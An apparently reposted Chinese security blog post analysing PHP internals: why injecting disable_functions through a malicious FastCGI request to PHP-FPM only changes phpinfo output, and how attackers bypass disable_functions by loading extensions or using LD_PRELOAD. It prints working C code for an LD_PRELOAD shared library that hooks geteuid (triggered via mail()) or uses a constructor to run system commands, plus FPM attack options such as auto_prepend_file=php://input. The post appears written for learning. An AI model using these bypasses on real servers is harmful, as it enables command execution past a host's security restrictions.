【技术分享】php内核分析-fpm和df的问题思考

VSole2022-03-16 08:54:06

这篇文章灵感是来自看了一篇文章《PHP内核分析-FPM和disable-function安全问题》然后其中学习到了很多东西。该篇文章已经非常详细了,所以自己就简单的记录一下自己的思考,如文中有错误希望师傅们指出。

介绍

php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。

 然后通过zend_disable_function()函数去禁止,简单的说就是通过 func->handler= ZEND_FN(display_disabled_function); 修改了handler。

而phpinfo⼀直是查看服务器php信息的可靠⽅式,但是在包含修改disable_function的参数攻击FPM后,phpinfo已经显示修改,但是测试函数仍然禁⽤。在fpm攻击的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值为我们传⼊的内容,⽽phpinfo展示的值就源于这⾥。

 还会将要禁⽤的函数字符串传⼊fpm_php_disable 函数,再调⽤ zend_disable_function 函数修改 func->handler完成禁⽤。

  

所以说,包含 PHP_VALUE == disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息

的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。

总结

  • disable_function 的本质是修改 func->handler 完成对函数的禁⽤。
  • 包含 PHP_VALUE ==disable_function= 的恶意FastCgi攻击FPM时,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表⾯修改,对于已经禁⽤的函数⽆效的,但是可以通过FPM禁⽤新的函数。
  • 攻击FPM⽐较常⻅的有效利⽤选项是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。

思考

那么我看网上有一下介绍是通过fpm来绕过disable_function。那么是怎么实现??底层到底是什么?

这里给出自己的答案,之所以说fpm能绕过df是因为通过配置 PHP_VALUE ==extension_dir +extension,然后我们上传我们的so来加载执行。那为什么说加载so就可以绕过???

是因为df是在模块初始化阶段的最后一步 加载so是在这个之前 可能是因为这个导致的rce(图片是来自上述文章)

 

下面是清楚点的。

所以能够绕过,然后想到了一叶飘零师傅的文章。

LD_PRELOAD与putenv的配合使用,即LD_PRELOAD这个环境变量指定路径的文件(也是so文件),会在其他文件被调用前,最先被调用而putenv可以设置环境变量。(图片是一叶飘零师傅文章)

而一叶飘零师傅文章中介绍了某一个php函数,我认为是在执行的过程中能fork子进程的函数(启动外部程序的函数并能执行)然后我们hook该fork子进程,进行重写,完成rce。

例如:mail(‘’,’’,’’,’’);

#include 
#include 
#include 
void payload() {
        system("ls / > /tmp/sky");
}
int geteuid() 
{
    if (getenv("LD_PRELOAD") == NULL) { return 0; }
    unsetenv("LD_PRELOAD");
    payload();
}
//编译成so文件
//gcc -c -fPIC hack.c -o hack.so

还有imap_mail()、mb_send_mail()和error_log()函数等

然后还有一个进化版本

#define _GNU_SOURCE
#include 
#include 
#include 

__attribute__ ((__constructor__)) void angel (void){
    unsetenv("LD_PRELOAD");
    system("ls");
}

其中__attribute__ ((__constructor__))有如下说明

1.It's run when a shared library is loaded, typically during program startup.
2.That's how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加载共享库时运行,通常在程序启动时运行。//putenv("LD_PRELOAD=hack.so");
2.所有GCC属性都是这样的;可能是为了将它们与函数调用区分开来。
3.析构函数在卸载共享库时运行,通常在程序退出时运行。

所以我们就不需要找一个函数去触发了。

phphandler
本作品采用《CC 协议》,转载必须注明作者和本文链接
php反序列化初探
2023-04-23 09:50:02
php中的反序列化漏洞通过控制php中的魔术方法,传入构造的恶意反序列化后的字符串,通过魔术方法触发反序列化漏洞,执行我们的恶意代码。注意反序列化构造的类名必须和源码中的一致,不能新生成一个类名。执行eval方法需要调用action()方法,action()方法的调用可以再ClassA的__destruct中调用
最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。php反序列化简单理解首先我们需要理解什么是序列化,什么是反序列化?本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。
0x00 前言CI框架作为PHP国外流行的框架,笔者有幸的挖掘到了它的反序列化POP链,其漏洞影响版本为4.*版本。
今天实践的是ReconForce, 用workstation导入成功,但是扫描不出来地址,换成virtualbox, sudo netdiscover -r 192.168.56.0/24,
好久没做攻击实践了,今天看了一下,手里还攒着6个vulnhub的镜像,算了一下,整好春节前把它们都实践完,今天实践的是Os-hackNos-3, 用workstation导入成功,但是扫描不出来地址,换成virtualbox, sudo netdiscover -r 192.168.56.0/24,
内网渗透合集(三)
2023-01-28 09:44:16
jsp端口转发渗透过程中,由于windows和linux的差别以及运行语言环境的限制导致端口转发经常出现问题。于是自己写了个简单的JSP的端口转发脚本。仿造 LCX的功能,具有正向、反向、监听三种模式。对于目前数量众多的JAVA WEB网站来说,可以比较方便的实现端口转发。在这里发布出来,小伙伴们使用过程中,如果发现什么bug欢迎提交哈~参数说明/KPortTran.jsp?lip = local ip / 本地ip //一般为内网主机IP. lp = local port / 本地端口 //一般为内网主机端口
PHP代码审计(一) 安装xdebug
php中的disable_function是EG(ini_directives)来获得的,而phpinfo根据 EG(ini_directives) 中获取信息并打印。
这里根据红日安全PHP-Audit-Labs对一些函数缺陷的分析,从PHP内核层面来分析一些函数的可利用的地方,标题所说的函数缺陷并不一定是函数本身的缺陷,也可能是函数在使用过程中存在某些问题,造成了漏洞,以下是对部分函数的分析
CVE-2021-36394-Moodle RCE漏洞分析及PHP反序列化利用链构造之旅。
VSole
网络安全专家